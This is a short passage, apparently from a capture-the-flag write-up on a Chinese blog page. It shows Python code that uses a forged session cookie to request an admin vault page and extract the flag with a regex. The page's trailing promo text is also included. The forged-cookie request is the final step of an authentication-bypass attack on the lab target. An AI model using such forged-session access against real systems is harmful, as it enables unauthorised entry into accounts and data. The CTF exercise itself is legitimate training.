r = requests.get(f"{TARGET}/admin/vault",
                 cookies={"session": forged_cookie})

match = re.search(r'flag\{[^}]+\}', r.text)
if match:
    print(f"\n[+] FLAG from admin vault: {match.group(0)}")
else:
    print("No flag in /admin/vault (maybe already captured above)")

在这里插入图片描述

Logo

免费领 150 小时云算力,进群参与显卡、AI PC 幸运抽奖

更多推荐